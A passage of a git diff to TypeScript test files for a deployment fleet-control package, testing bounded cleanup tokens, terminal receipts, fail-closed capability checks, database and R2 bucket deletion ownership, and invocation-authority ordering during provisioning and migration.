expect(activeIntent(store).operationId).toBe(OTHER_OPERATION_ID); + expect(activeIntent(store).revision).toBe(0); + }); + + it('rejects a delayed token after its receipt is pruned', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + backend.databaseExists = false; + const terminal = await continueWith(store, backend, token(0)); + expect(terminal.status).toBe('complete'); + const pruned = await store.pruneCleanupReceipts?.({ + completedBeforeMs: store.completedAtMs + 1, + limit: 1_000, + }); + expect(pruned).toEqual({ deleted: 1 }); + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + CleanupAdvanceTokenOperationError, + ); + }); + + it('rejects cross-purpose tokens at the engine boundary', async () => { + const { store, backend } = harness(); + store.record = record({ + phase: 'decommission-advancing', + decommissionIntent: { + operationId: OPERATION_ID, + } as unknown as DecommissionAdvanceIntent, + }); + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + CleanupAdvanceTokenOperationError, + ); + const cleanup = harness(); + cleanup.store.record = activeRecord({ step: 'teardown-traffic' }); + await expect( + advanceDecommissionDeployment({ + backend: cleanup.backend, + store: cleanup.store, + spec: spec(), + action: { kind: 'continue', token: token(0) }, + maxProviderRequests: 9, + randomUUID: unexpectedUUID, + }), + ).rejects.toThrow(DecommissionAdvanceTokenOperationError); + }); + + it('converges a lost terminal write through the receipt lookup', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + backend.databaseExists = false; + store.failTerminalResponseOnce = true; + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + 'terminal response lost', + ); + expect(store.record).toBeUndefined(); + expect(store.receipts.has(OPERATION_ID)).toBe(true); + const converged = await continueWith(store, backend, token(0)); + if (converged.status !== 'complete') throw new Error('expected complete'); + expect(converged.receipt).toEqual(store.receipts.get(OPERATION_ID)); + }); +}); + +describe('bounded cleanup capabilities', () => { + it('fails closed without provider calls when the terminal receipt capability is missing', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + store.supportsCompleteCleanup = false; + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + new CleanupAdvanceCapabilityError('terminal-receipt').message, + ); + expect(backend.providerCalls).toBe(0); + expect(store.puts).toBe(0); + }); + + it('fails closed when the store cannot read cleanup receipts', async () => { + const { store, backend } = harness(); + store.readCleanupReceipt = undefined; + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + new CleanupAdvanceCapabilityError('receipt-read').message, + ); + expect(backend.providerCalls).toBe(0); + }); + + it('fails closed without provider calls when the attachment scan capability is missing', async () => { + const { store, backend } = harness(); + store.record = activeRecord(discoverState()); + backend.advanceDecommissionAttachmentScan = undefined; + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + new CleanupAdvanceCapabilityError('attachment-scan').message, + ); + expect(backend.providerCalls).toBe(0); + expect(store.puts).toBe(0); + }); + + it('fails closed without provider calls when an application R2 capability is missing', async () => { + const cases: readonly Readonly<{ + state: ApplicationR2Resource['state']; + omit: + | 'findApplicationR2Bucket' + | 'assertApplicationR2Empty' + | 'assertApplicationR2Detached' + | 'deleteApplicationR2Bucket'; + capability: + | 'application-r2-inspection' + | 'application-r2-empty' + | 'application-r2-detach' + | 'application-r2-delete'; + }>[] = [ + { + state: 'created', + omit: 'findApplicationR2Bucket', + capability: 'application-r2-inspection', + }, + { + state: 'empty-authorized', + omit: 'assertApplicationR2Empty', + capability: 'application-r2-empty', + }, + { + state: 'created', + omit: 'assertApplicationR2Detached', + capability: 'application-r2-detach', + }, + { + state: 'delete-authorized', + omit: 'deleteApplicationR2Bucket', + capability: 'application-r2-delete', + }, + ]; + for (const testCase of cases) { + const { store, backend } = harness(); + const resource = r2Resource(testCase.state); + backend.liveBuckets.set(resource.bucketName, liveBucket(resource)); + store.record = r2ActiveRecord( + { step: 'r2-deletion', startResourceIndex: 0 }, + resource, + ); + backend[testCase.omit] = undefined; + await expect( + continueWith(store, backend, token(0), { spec: r2Spec() }), + ).rejects.toThrow( + new CleanupAdvanceCapabilityError(testCase.capability).message, + ); + expect(backend.providerCalls).toBe(0); + expect(store.puts).toBe(0); + } + }); +}); + +describe('bounded cleanup database deletion', () => { + it('reconciles a database-created cleanup without the owner requirement', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-created' }, + ); + backend.databaseOwner = undefined; + const result = await continueWith(store, backend, token(0)); + expect(result.status).toBe('complete'); + expect(backend.events).toEqual([ + 'getDatabase', + 'residuals', + 'deleteDatabase', + 'getDatabase', + ]); + const owned = harness(); + owned.store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'identity-seeded' }, + ); + owned.backend.databaseOwner = undefined; + await expect( + continueWith(owned.store, owned.backend, token(0)), + ).rejects.toThrow( + `refusing database operation for '${DATABASE_ID}' owned by 'no deployment'`, + ); + }); + + it('clears an authorized reservation with the pinned freshness proof', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + backend.databaseOwner = undefined; + const result = await continueWith(store, backend, token(0)); + if (result.status !== 'complete') throw new Error('expected complete'); + expect(backend.seededFenceStates).toEqual(['migration-locked']); + expect(result.receipt.disposition).toBe('prepublication-owned-no-export'); + expect(result.receipt.evidence.eligibility).toBe('reservation-only'); + expect(backend.databaseExists).toBe(false); + const ownedElsewhere = harness(); + ownedElsewhere.store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'database-create-authorized' }, + ); + ownedElsewhere.backend.databaseOwner = 'zeta'; + await expect( + continueWith(ownedElsewhere.store, ownedElsewhere.backend, token(0)), + ).rejects.toThrow( + `refusing reserved database cleanup for '${DATABASE_ID}' owned by 'zeta'`, + ); + }); + + it('re-checks eligibility with the persisted phase and the live carrier before deletion', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { admittedPhase: 'worker-deployed' }, + ); + const result = await continueWith(store, backend, token(0)); + expect(result.status).toBe('complete'); + const authorized = harness(); + authorized.store.record = activeRecord( + { step: 'database-deletion' }, + { + admittedPhase: 'worker-deployed', + record: { + invocationAuthority: { version: 1, authorizedAt: AUTHORIZED_AT }, + }, + }, + ); + await expect( + continueWith(authorized.store, authorized.backend, token(0)), + ).rejects.toThrow( + 'deployment candidate invocation was durably authorized; use export-backed decommissioning', + ); + expect(authorized.backend.events).not.toContain('deleteDatabase'); + expect(authorized.store.completeCleanupCalls).toBe(0); + expect(authorized.store.record?.cleanupIntent?.revision).toBe(0); + }); + + it('refuses rollback database deletion the attempt does not own', async () => { + const { store, backend } = harness(); + store.record = activeRecord( + { step: 'database-deletion' }, + { + admittedPhase: 'identity-seeded', + authority: { + kind: 'provisioning-rollback', + reservationOwned: true, + databaseOwned: false, + workerCreatedByAttempt: false, + workerResourceState: 'absent', + requestedSpecDigest: deploymentSpecDigest(spec()), + }, + }, + ); + await expect(continueWith(store, backend, token(0))).rejects.toThrow( + 'provisioning rollback cannot delete a database the attempt does not own', + ); + expect(backend.events).not.toContain('deleteDatabase'); + expect(store.record?.cleanupIntent).toBeDefined(); + }); +}); + +describe('bounded cleanup rollback internals', () => { + it('persists rollback authority under a held lease and drains through the under-lease entry', async () => { + const { store, backend } = harness(); + const seeded = record({ phase: 'database-created' }); + store.record = seeded; + const authority = { + kind: 'provisioning-rollback', + reservationOwned: true, + databaseOwned: true, + workerCreatedByAttempt: true, + workerResourceState: 'unknown', + requestedSpecDigest: deploymentSpecDigest(spec()), + } as const; + const result = await store.withDeploymentLease( + 'acme', + 'production', + async (lease) => { + const admitted = await startProvisioningRollbackCleanup( + lease, + seeded, + authority, + { backend, spec: spec(), randomUUID: () => OPERATION_ID }, + ); + expect(admitted.cleanupIntent?.authority).toEqual(authority); + expect(admitted.cleanupIntent?.state).toEqual({ + step: 'teardown-traffic', + }); + expect(admitted.cleanupIntent?.identity.admittedPhase).toBe( + 'database-created', + ); + const drainOptions = options(store, backend, { + kind: 'continue', + token: token(0), + }); + return advanceCleanupUnderLease( + drainOptions, + { kind: 'continue', token: token(0) }, + token(0), + lease, + ); + }, + ); + expect(result).toEqual({ status: 'pending', token: token(1) }); + expect(backend.events).toEqual(['removeTraffic', 'assertTrafficRemoved']); + expect(activeIntent(store).state).toEqual({ step: 'teardown-worker' }); + }); +}); diff --git a/packages/fleet-control/test/cross-backend-continuation.test.ts b/packages/fleet-control/test/cross-backend-continuation.test.ts index 39ac1c0c..1d0cd124 100644 --- a/packages/fleet-control/test/cross-backend-continuation.test.ts +++ b/packages/fleet-control/test/cross-backend-continuation.test.ts @@ -364,6 +364,9 @@ describe('ordinary Worker cross-backend continuation', () => { ['application-resources-create-authorized', 2], ['application-resources-deployed', 2], ['worker-deployed', 2], + // The invocation-authority flip commits on a dedicated put before the + // first maintenance request. + ['worker-deployed', 2], ['maintenance-armed', 2], ['publishing', 2], ]); @@ -495,7 +498,49 @@ describe('ordinary Worker cross-backend continuation', () => { expect(directAuthorized.store.record).toBeUndefined(); expect(directAuthorized.world.databases).toEqual([]); + expect([...directAuthorized.store.receipts.values()]).toMatchObject([ + { + disposition: 'prepublication-owned-no-export', + admittedPhase: 'database-create-authorized', + authority: 'manual-cleanup', + }, + ]); + + const source = wrangler(); + const spec = buildPlainWorkerSpec(); + await provision(source, spec); + // The never-authorized carrier keeps trusted plain no-export cleanup + // through worker-deployed; the maintenance-armed row is authorized and + // now refuses toward export-backed decommissioning. + const snapshot = source.store.snapshots.find( + ({ record }) => record.phase === 'worker-deployed', + ); + if (!snapshot) throw new Error('missing worker-deployed snapshot'); + expect(snapshot.record.invocationAuthority).toEqual({ + version: 1, + authorizedAt: null, + }); + const direct = directHarness(snapshot.world.clone()); + direct.store.record = structuredClone(snapshot.record); + + await cleanupDeploymentArtifacts({ + backend: direct.backend, + store: direct.store, + spec, + }); + expect(direct.store.record).toBeUndefined(); + expect(direct.world.databases).toEqual([]); + expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false); + expect([...direct.store.receipts.values()]).toMatchObject([ + { + disposition: 'prepublication-owned-no-export', + admittedPhase: 'worker-deployed', + }, + ]); + }); + + it('refuses legacy ambiguous-phase snapshots without mutation and routes them to export-backed decommission', async () => { const source = wrangler(); const spec = buildPlainWorkerSpec(); await provision(source, spec); @@ -504,18 +549,44 @@ describe('ordinary Worker cross-backend continuation', () => { ({ record }) => record.phase === phase, ); if (!snapshot) throw new Error(`missing ${phase} snapshot`); - const direct = directHarness(snapshot.world.clone()); - direct.store.record = structuredClone(snapshot.record); + const world = snapshot.world.clone(); + const direct = directHarness(world); + // A legacy row predates the invocation-authority carrier entirely, so + // its phase alone cannot rule out a dispatched candidate invocation. + const { invocationAuthority: _carrier, ...legacy } = structuredClone( + snapshot.record, + ); + direct.store.record = legacy; + const before = worldFacts(world); - await cleanupDeploymentArtifacts({ + const failure = await captureFailure( + cleanupDeploymentArtifacts({ + backend: direct.backend, + store: direct.store, + spec, + }), + ); + + expect((failure as Error).message).toBe( + 'legacy deployment phase cannot rule out candidate invocation; use export-backed decommissioning', + ); + expect(worldFacts(world)).toEqual(before); + expect(direct.store.record).toEqual(legacy); + expect(direct.store.receipts.size).toBe(0); + + // The refused row stays provisioning-resumable; completing it makes + // the deployment decommissionable with its export receipt. + const resumed = await provision(direct, spec); + expect(resumed.record.phase).toBe('ready'); + const decommissioned = await decommissionDeployment({ backend: direct.backend, store: direct.store, spec, }); - - expect(direct.store.record).toBeUndefined(); - expect(direct.world.databases).toEqual([]); - expect(direct.world.scripts.get(spec.scriptName)?.present).toBe(false); + expect(decommissioned.record.phase).toBe('decommissioned'); + expect(decommissioned.databaseExport.size).toBeGreaterThan(0); + expect(world.databases).toEqual([]); + expect(world.scripts.get(spec.scriptName)?.present).toBe(false); } }); @@ -548,9 +619,12 @@ describe('ordinary Worker cross-backend continuation', () => { }), ); expect(errorChain(foreignFailure)).toContain("owned by 'foreign'"); - expect(foreignDirect.store.record?.phase).toBe( - 'database-create-authorized', - ); + // The provider refusal fires inside the database-deletion group, after + // the intent was durably admitted; the row stays resumable there. + expect(foreignDirect.store.record?.phase).toBe('cleanup-advancing'); + expect( + foreignDirect.store.record?.cleanupIntent?.identity.admittedPhase, + ).toBe('database-create-authorized'); const source = wrangler(); const spec = buildPlainWorkerSpec(); @@ -576,13 +650,19 @@ describe('ordinary Worker cross-backend continuation', () => { spec, }), ); - expect(errorChain(mismatchFailure)).toContain( - 'resolved with unexpected identity', + expect(mismatchFailure).toBeInstanceOf(AggregateError); + expect( + (mismatchFailure as AggregateError).errors.map((error) => + errorChain(error), + ), + ).toEqual([expect.stringContaining('resolved with unexpected identity')]); + expect(mismatched.store.record?.phase).toBe('cleanup-advancing'); + expect(mismatched.store.record?.cleanupIntent?.identity.admittedPhase).toBe( + 'worker-deployed', ); - expect(mismatched.store.record?.phase).toBe('worker-deployed'); }); - it('compensates a Wrangler ambiguous create after direct recovery creates the Worker', async () => { + it('preserves a direct recovery whose maintenance request was authorized and completes through export-backed decommission', async () => { const authorized = await authorizedWranglerCreate(true); const direct = directHarness(authorized.harness.world); direct.store.record = structuredClone(authorized.store.record); @@ -601,18 +681,34 @@ describe('ordinary Worker cross-backend continuation', () => { expect(failure).toBeInstanceOf(ProvisioningError); expect(deployedCreated).toBe(true); - expect(direct.store.record).toBeUndefined(); + // The invocation-authority flip committed before the maintenance + // request, so rollback refuses no-export teardown and preserves the + // deployment whole for export-backed decommissioning. + expect((failure as ProvisioningError).cleanupErrors).toEqual([ + expect.objectContaining({ + message: + 'deployment candidate invocation was durably authorized; use export-backed decommissioning', + }), + ]); + expect(direct.store.record?.phase).toBe('worker-deployed'); + expect(direct.world.databases).toHaveLength(1); + expect(direct.world.scripts.get(authorized.spec.scriptName)?.present).toBe( + true, + ); + + const resumed = await provision(direct, authorized.spec); + expect(resumed.record.phase).toBe('ready'); + const decommissioned = await decommissionDeployment({ + backend: direct.backend, + store: direct.store, + spec: authorized.spec, + }); + expect(decommissioned.record.phase).toBe('decommissioned'); + expect(decommissioned.databaseExport.size).toBeGreaterThan(0); expect(direct.world.databases).toEqual([]); expect(direct.world.scripts.get(authorized.spec.scriptName)?.present).toBe( false, ); - expect(direct.world.customDomains).toEqual([]); - expect(direct.world.mutationLog).toEqual( - expect.arrayContaining([ - `delete-script:${authorized.spec.scriptName}`, - expect.stringMatching(/^delete-database:/u), - ]), - ); }); it('does not roll back a direct resume that started at database-created', async () => { diff --git a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts index 546a47d6..004f7234 100644 --- a/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts +++ b/packages/fleet-control/test/fixtures/plain-worker-harnesses.ts @@ -16,6 +16,7 @@ import { plainWorkerIngressModule } from '../../src/plain-worker-backend.js'; import { uploadIntentToProviderBindings } from '../../src/provider-binding-inventory.js'; import { deploymentSpecDigest } from '../../src/spec-digest.js'; import { + type CleanupTerminalReceipt, type DatabaseExportReceiptIdentity, type DeploymentSecrets, type DeploymentSpec, @@ -232,6 +233,8 @@ export function seedWorkerFromSpec( export class HarnessFleetStore implements FleetStateStore { record: FleetRecord | undefined; failPutPhase: FleetRecord['phase'] | undefined; + readonly receipts = new Map(); + #completedAtMs = 1_000; readonly phases: FleetRecord['phase'][] = []; readonly snapshots: Array<{ readonly record: FleetRecord; @@ -265,12 +268,46 @@ export class HarnessFleetStore implements FleetStateStore { renew: async () => {}, put: (record) => this.put(record), delete: () => this.delete(), + completeCleanup: (input) => this.completeCleanup(input), }); } finally { this.#leased = false; } } + async completeCleanup(input: { + receipt: CleanupTerminalReceipt; + expectedRevision: number; + }): Promise { + const current = this.record; + if ( + current?.phase !== 'cleanup-advancing' || + current.cleanupIntent?.operationId !== input.receipt.operationId || + current.cleanupIntent.revision !== input.expectedRevision + ) { + const existing = this.receipts.get(input.receipt.operationId); + if (existing) return structuredClone(existing); + throw new Error( + `cleanup receipt conflict for operation '${input.receipt.operationId}'`, + ); + } + const persisted = { + ...structuredClone(input.receipt), + completedAtMs: this.#completedAtMs, + }; + this.#completedAtMs += 1; + this.receipts.set(persisted.operationId, persisted); + this.record = undefined; + return structuredClone(persisted); + } + + async readCleanupReceipt( + operationId: string, + ): Promise { + const receipt = this.receipts.get(operationId); + return receipt ? structuredClone(receipt) : undefined; + } + async get(): Promise { return this.record ? structuredClone(this.record) : undefined; } diff --git a/packages/fleet-control/test/fleet.test.ts b/packages/fleet-control/test/fleet.test.ts index 7c3430af..05553df5 100644 --- a/packages/fleet-control/test/fleet.test.ts +++ b/packages/fleet-control/test/fleet.test.ts @@ -3,7 +3,10 @@ import { createHash } from 'node:crypto'; import { describe, expect, it } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; -import { canonicalApplicationBindings } from '../src/application-bindings.js'; +import { + canonicalApplicationBindings, + reserveApplicationR2Resources, +} from '../src/application-bindings.js'; import type { BridgeMutationPlan, BridgeSnapshot, @@ -2448,6 +2451,233 @@ describe('fleet operations', () => { expect(backend.calls).toContain('inspect:healthy'); }); + it('suppresses drift findings in both directions for a deployment under active bounded cleanup', async () => { + const cleaningBase = record('acme'); + const [reserved] = reserveApplicationR2Resources({ + ...spec(cleaningBase, 1), + application: { vars: [], secrets: [], r2Buckets: [{ name: 'DATA' }] }, + }); + if (!reserved) throw new Error('missing reserved application resource'); + const dataResource = { + ...reserved, + state: 'created' as const, + creationDate: '2026-08-01T00:00:00.000Z', + }; + const cleaning: FleetRecord = { + ...cleaningBase, + phase: 'cleanup-advancing', + applicationResources: [dataResource], + }; + const withIntent: FleetRecord = { + ...cleaning, + cleanupIntent: { + version: 1, + operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b', + revision: 2, + generation: 0, + updatedAt: cleaning.updatedAt, + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: cleaning.tenantTag, + environment: cleaning.environment, + backend: cleaning.backend, + scriptName: cleaning.scriptName, + databaseId: cleaning.databaseId, + databaseName: cleaning.databaseName, + routeHostname: cleaning.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state: { step: 'teardown-worker' }, + }, + }; + const beta = record('beta'); + const backend = new FleetBackend(); + backend.live.set(beta.tenantTag, liveFor(beta)); + const audit = (inventory: FleetResourceInventory) => + auditFleetDrift({ + store: storeFor([withIntent, beta]), + records: [withIntent, beta], + inventory, + backendFor: (item) => { + if (item.cleanupIntent) { + throw new Error('suppressed cleanup record must not be audited'); + } + return backend; + }, + specFor: (item) => spec(item), + maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001', + staleAfterMs: 1_000, + now: 10_000, + }); + + // Still-present declared resources are known, never orphans. + const present = inventoryFor([cleaningBase, beta]); + await expect( + audit({ + ...present, + r2Buckets: [ + { + bucketName: dataResource.bucketName, + jurisdiction: dataResource.jurisdiction ?? 'default', + creationDate: dataResource.creationDate, + }, + ], + }), + ).resolves.toEqual([]); + + // Already-removed resources raise no expectation-based findings either: + // the bounded engine, not the drift audit, reconciles this deployment. + await expect(audit(inventoryFor([beta]))).resolves.toEqual([]); + }); + + it('reports no incomplete provisioning for a stale blocked cleanup record', async () => { + const base = record('acme'); + const blocked: FleetRecord = { + ...base, + phase: 'cleanup-advancing', + cleanupIntent: { + version: 1, + operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b', + revision: 7, + generation: 1, + updatedAt: base.updatedAt, + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: base.tenantTag, + environment: base.environment, + backend: base.backend, + scriptName: base.scriptName, + databaseId: base.databaseId, + databaseName: base.databaseName, + routeHostname: base.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state: { + step: 'blocked', + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: base.databaseId, + operationId: '5b8e2f1a-3c4d-4e5f-8a9b-0c1d2e3f4a5b', + }, + attachment: { plane: 'ordinary', scriptName: 'holder-script' }, + }, + }, + }; + const backend = new FleetBackend(); + const audit = (records: readonly FleetRecord[]) => + auditFleetDrift({ + store: storeFor(records), + records, + inventory: inventoryFor([base]), + backendFor: () => backend, + specFor: (item) => spec(item), + maintenanceSecretFor: () => 'maintenance-admin-secret-value-00001', + staleAfterMs: 1_000, + now: 10_000, + }); + + // A long-blocked cleanup stays visible through the record itself, never + // through incomplete-provisioning or other drift findings. + await expect(audit([blocked])).resolves.toEqual([]); + + const stale: FleetRecord = { ...base, phase: 'worker-deployed' }; + backend.live.set(stale.tenantTag, liveFor(stale)); + const findings = await audit([stale]); + expect(findings.map(({ kind }) => kind)).toContain( + 'incomplete-provisioning', + ); + }); + + it('commits the invocation authority before migration staging, candidate maintenance, and promotion dispatches', async () => { + class TimelineFleetStore extends FleetStore { + constructor(private readonly timeline: string[]) { + super(); + } + + override async put(value: FleetRecord): Promise { + await super.put(value); + const carrier = value.invocationAuthority; + this.timeline.push( + `put:${value.phase}:${ + carrier + ? carrier.authorizedAt === null + ? 'null' + : 'authorized' + : 'absent' + }`, + ); + } + } + const acme = record('acme'); + const initialSpec = spec(acme, 1); + const activePhysicalScriptName = externalReleaseScriptName(initialSpec); + const backend = new ImmutableFleetBackend(); + const priorTarget = backend.describeExternalPlatformTarget(initialSpec); + // A legacy record carries no invocation-authority carrier at all. + const current: FleetRecord = { + ...acme, + durableObjectBindings: [], + desiredSpecDigest: deploymentSpecDigest(initialSpec), + platformTarget: priorTarget, + outboundPolicy: priorTarget.outboundPolicy, + activeRelease: { + physicalScriptName: activePhysicalScriptName, + specDigest: deploymentSpecDigest(initialSpec), + artifactVersion: acme.artifactVersion, + releaseSchemaVersion: initialSpec.schemaVersion, + }, + }; + const target = spec(current, 2); + backend.routedScriptName = activePhysicalScriptName; + backend.releases.set(activePhysicalScriptName, { + ...liveFor(current), + scriptName: activePhysicalScriptName, + durableObjectBindings: [], + }); + const store = new TimelineFleetStore(backend.calls); + await store.put(current); + backend.calls.length = 0; + + await migrateFleet({ + store, + records: [current], + canaryTenantTags: [], + backendFor: () => backend, + specFor: () => target, + secretsFor: () => ({ + deploymentIdentity: 'deployment-identity-secret-value-0001', + maintenanceAdmin: 'maintenance-admin-secret-value-00001', + }), + }); + + const timeline = backend.calls; + const flip = timeline.indexOf('put:migrating:authorized'); + const deploy = timeline.indexOf( + `deploy:acme:${externalReleaseScriptName(target)}`, + ); + const maintenance = timeline.indexOf('maintenance:acme'); + const promote = timeline.indexOf( + `promote:acme:${externalReleaseScriptName(target)}`, + ); + // Staging puts never carry the flip; a dedicated durable put commits the + // carrier before the candidate upload, and maintenance plus promotion + // dispatch only after that same committed authority. + expect(timeline.slice(0, flip)).toContain('put:migrating:absent'); + expect(flip).toBeGreaterThanOrEqual(0); + expect(flip).toBeLessThan(deploy); + expect(deploy).toBeLessThan(maintenance); + expect(maintenance).toBeLessThan(promote); + const migrated = await store.get('acme', 'production'); + expect(migrated?.phase).toBe('ready'); + expect(typeof migrated?.invocationAuthority?.authorizedAt).toBe('string'); + }); + it('migrates explicit canaries first and stops before the remaining fleet', async () => { const acme = record('acme'); const beta = record('beta'); diff --git a/packages/fleet-control/test/plain-worker-backend-conformance.ts b/packages/fleet-control/test/plain-worker-backend-conformance.ts index f8986636..cb92cd20 100644 --- a/packages/fleet-control/test/plain-worker-backend-conformance.ts +++ b/packages/fleet-control/test/plain-worker-backend-conformance.ts @@ -151,6 +151,9 @@ export function describePlainWorkerConformance( 'application-resources-create-authorized', 'application-resources-deployed', 'worker-deployed', + // The invocation-authority flip commits on a dedicated put before + // the first maintenance request. + 'worker-deployed', 'maintenance-armed', 'publishing', 'ready', diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 5e032ac3..001b78ce 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -45,6 +45,7 @@ import type { ActiveRouteAttestation, ApplicationR2BucketSnapshot, ApplicationR2Resource, + CleanupTerminalReceipt, DatabaseExport, DatabaseExportReceiptIdentity, DatabaseReference, @@ -155,6 +156,11 @@ class MemoryStore implements FleetStateStore { record: FleetRecord | undefined; leased = false; leaseCalls = 0; + readonly receipts = new Map(); + completedAtMs = 1_000; + supportsDeleteReleasingClaims = false; + deleteReleasingClaimsCalls = 0; + deleteCalls = 0; readonly phases: string[] = []; failPutPhase: string | undefined; failPutApplicationState: @@ -191,12 +197,50 @@ class MemoryStore implements FleetStateStore { renew: async () => {}, put: (record) => this.put(record), delete: () => this.delete(), + completeCleanup: (input) => this.completeCleanup(input), + ...(this.supportsDeleteReleasingClaims + ? { + deleteReleasingClaims: async () => { + this.deleteReleasingClaimsCalls += 1; + this.record = undefined; + }, + } + : {}), }); } finally { this.leased = false; } } + async completeCleanup(input: { + receipt: CleanupTerminalReceipt; + expectedRevision: number; + }): Promise { + const current = this.record; + if ( + current?.phase !== 'cleanup-advancing' || + current.cleanupIntent?.operationId !== input.receipt.operationId || + current.cleanupIntent.revision !== input.expectedRevision + ) { + const existing = this.receipts.get(input.receipt.operationId); + if (existing) return existing; + throw new Error( + `cleanup receipt conflict for operation '${input.receipt.operationId}'`, + ); + } + const persisted = { ...input.receipt, completedAtMs: this.completedAtMs }; + this.completedAtMs += 1; + this.receipts.set(persisted.operationId, persisted); + this.record = undefined; + return persisted; + } + + async readCleanupReceipt( + operationId: string, + ): Promise { + return this.receipts.get(operationId); + } + async get(): Promise { return this.record; } @@ -242,6 +286,7 @@ class MemoryStore implements FleetStateStore { } async delete(): Promise { + this.deleteCalls += 1; this.record = undefined; } @@ -1536,6 +1581,52 @@ describe('fleet provisioning', () => { expect(raceBackend.events).toEqual([]); }); + it('fails closed when a decommission record carries a cleanup intent', async () => { + const base = { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: 'db-acme', + databaseName: 'acme-production', + schemaVersion: 1, + artifactVersion: 'artifact-v1', + desiredSpecDigest: 'a'.repeat(64), + durableObjectBindings: [], + applicationResources: [], + applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, + routeHostname: 'acme.example.test', + phase: 'ready', + updatedAt: '2026-08-29T00:00:00.000Z', + } as const satisfies FleetRecord; + const hostile = { + ...decommissionAdvancingRecordFixture(base, 'ready', { + operationId: '123e4567-e89b-42d3-a456-426614174000', + revision: 0, + generation: 0, + updatedAt: '2026-08-29T00:00:01.000Z', + }), + cleanupIntent: { version: 1 }, + }; + const store = { + get: async () => hostile, + list: async () => [hostile], + withDeploymentLease: async () => { + throw new Error('lease must not be acquired for a hostile record'); + }, + }; + await expect( + decommissionDeployment({ + backend: {} as never, + store: store as never, + spec: { + tenantTag: 'acme', + environment: 'production', + } as never, + }), + ).rejects.toThrow('backend switch decommission record is malformed'); + }); + it('persists the ordered create phases and returns a ready deployment', async () => { const backend = new FakeBackend(); const store = new MemoryStore(); @@ -1581,6 +1672,9 @@ describe('fleet provisioning', () => { 'migrated', 'application-resources-create-authorized', 'application-resources-deployed', + // The invocation-authority flip commits on a dedicated put before the + // external candidate upload dispatches. + 'application-resources-deployed', 'worker-deployed', 'maintenance-armed', 'publishing', @@ -1811,7 +1905,7 @@ describe('fleet provisioning', () => { }); it('clears a database reservation only after the exact reserved name is positively absent', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); const store = new MemoryStore(); const deployment = spec(); const findDatabase = backend.findDatabase.bind(backend); @@ -1836,10 +1930,13 @@ describe('fleet provisioning', () => { ).resolves.toBeUndefined(); expect(backend.events).toEqual([]); expect(store.record).toBeUndefined(); + expect([...store.receipts.values()]).toMatchObject([ + { disposition: 'reservation-cleared', authority: 'manual-cleanup' }, + ]); }); it('deletes an unseeded exact-name database left by an ambiguous reserved create', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); backend.failAt = 'database'; const store = new MemoryStore(); const deployment = spec(); @@ -1870,7 +1967,7 @@ describe('fleet provisioning', () => { }); it('refuses a pre-existing same-name database before create authorization', async () => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); backend.databaseExists = true; backend.databaseOwner = undefined; const store = new MemoryStore(); @@ -1932,9 +2029,8 @@ describe('fleet provisioning', () => { 'identity', 'migrations', 'worker', - 'maintenance', ])('rolls back resources when %s fails', async (failure) => { - const backend = new FakeBackend(); + const backend = new FakeBackend('plain-worker'); backend.failAt = failure; const store = new MemoryStore(); @@ -1949,13 +2045,22 @@ describe('fleet provisioning', () => { ).rejects.toBeInstanceOf(ProvisioningError); if (failure === 'identity') { + // Ownership was never proven, so rollback keeps the resumable row + // instead of admitting an engine that could not delete the database. expect(backend.events).not.toContain('delete-database'); expect(store.record?.phase).toBe('database-created'); + expect(store.receipts.size).toBe(0); } else { expect(backend.events.at(-1)).toBe('delete-database'); expect(store.record).toBeUndefined(); + expect([...store.receipts.values()]).toMatchObject([ + { + disposition: 'prepublication-owned-no-export', + authority: 'provisioning-rollback', + }, + ]); } - if (failure === 'maintenance') { + if (failure === 'worker') { expect(backend.events).toContain('revoke'); expect(backend.events).toContain('delete-worker'); } @@ -1963,7 +2068,9 @@ describe('fleet provisioning', () => { it('passes the persisted plain-Worker release through post-deploy rollback', async () => { const backend = new FakeBackend('plain-worker'); - backend.failAt = 'maintenance'; + // Fail after the worker-deployed commit but before the maintenance flip: + // once maintenance was requested, rollback refuses no-export teardown. + backend.failAt = 'inspect'; const store = new MemoryStore(); const deployment = spec(); @@ -2018,7 +2125,9 @@ describe('fleet provisioning', () => { })), ).toEqual([ { name: 